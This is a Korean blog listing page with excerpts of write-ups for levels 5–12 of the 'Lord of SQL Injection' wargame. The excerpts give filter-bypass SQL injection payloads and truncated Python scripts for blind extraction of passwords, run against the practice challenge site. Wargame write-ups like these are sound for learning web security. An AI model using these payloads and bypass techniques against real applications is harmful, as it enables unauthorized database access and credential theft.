Write-Up/LOS (lord of sql injection) (28) 썸네일형 리스트형 [Lord of SQL Injection] 12번 darkknight pw는 싱글쿼터를 필터링한다. no는 싱글쿼터, =, substr, ascii가 필터링된다. 싱글쿼터가 필터링 되기때문에 hex로 넣어주겠다. admin의 hex값은 0x61646d696e이다 처음 pw 길이를 알아내기 위하여 lenght 함수를 이용하였다. import requests cookies= {'PHPSESSID':'bme8kemqnchvr6qmbblqpbbs05'} url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?' pw = '' for i in range(1,9): for j in range(48,127): payload = "no=1 or id like 0x61646d696e %26%26 .. [Lord of SQL Injection] 11번 golem blind sql injection 문제인데 substr을 못쓴다. 또한 = 도 못쓰게 되어있다. 일단 pw길이 부터 알아내보자 and 는 &&(%26%26)으로 대체 할 수 있다. 또한 = 은 like로 사용 할 것 이다. pw 길이를 알아내보자 ?pw=' || id like 'admin' || length(pw) like 8 %23 pw 길이가 8이라는것을 알아 낼 수 있다. [Lord of SQL Injection] 10번 skeleton pw뒤 and 1=0이니 항상 거짓이다. and 1=0 이부분을 주석으로 처리해주면 될 것 같다 payload : ?pw=1' or '1' = '1' and id='admin'%23 [Lord of SQL Injection] 9번 vampire strolower : 대문자를 소문자로 반환한다 $string= "SQL INJECTION"; echo strtolower($string); 결과 : sql injection str_replace : 문자열을 다른 문자열로 교체해 반환한다. $testval = "123 456 127"; str_replace("123", "456", $testval); 결과 : 456 456 127 다시 vampire 코드로 돌아가면 admin을 입력하면 admin이 대문자면 소문자로 반환하고 입력값을 공백으로 치환해버린다. admin이 필터링되니 admin사이에 적절하게 우리가 원하는 admin을 넣어서 섞어버리자 이렇게 adminadadminmadminin payload : ?adminadadminmadminin [Lord of SQL Injection] 8번 troll id 가 admin이면 풀리는데 admin이 필터링이니 admin이라고 입력 할 수 없다. 데이터베이스는 대문자 소문자 구별을 안하기 때문에 Admin이라 입력하면 문제가 풀린다 payload : ?Admin [Lord of SQL Injection] 7번 orge blind sql injection이다 먼저 pw 길이를 알아내기 위하여 lenght함수를 사용하였다. pw='||lenght(pw)8%23을 입력해 주었더니 hello admin을 볼 수 있었다. import requests cookies= {'PHPSESSID':'7a4pokemhooffbduohsbglc420'} url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?' pw = '' for i in range(1,9): for j in range(33,127): payload = "pw=' || id='admin' %26%26 substr(pw,1,"+str(i)+")='"+pw+chr(j)+"#" new_url =.. [Lord of SQL Injection] 6번 darkelf or 과 and가 필터링 되어있다. hehe를 보기위해 한번 입력해봤다. 논리연산자 or은 ||로 가능하니까 payload : ?pw=' || id='admin [Lord of SQL Injection] 5번 wolfman space bar가 필터링된다. 그럼 그냥 space를 넣지말고 작성하자 payload : ?pw='||id='admin 참고로 우회하는 방법은 스페이스바 부분에 %09(tap) /**/(주석)을 이용하는 방법이있다 이전 1 2 3 4 다음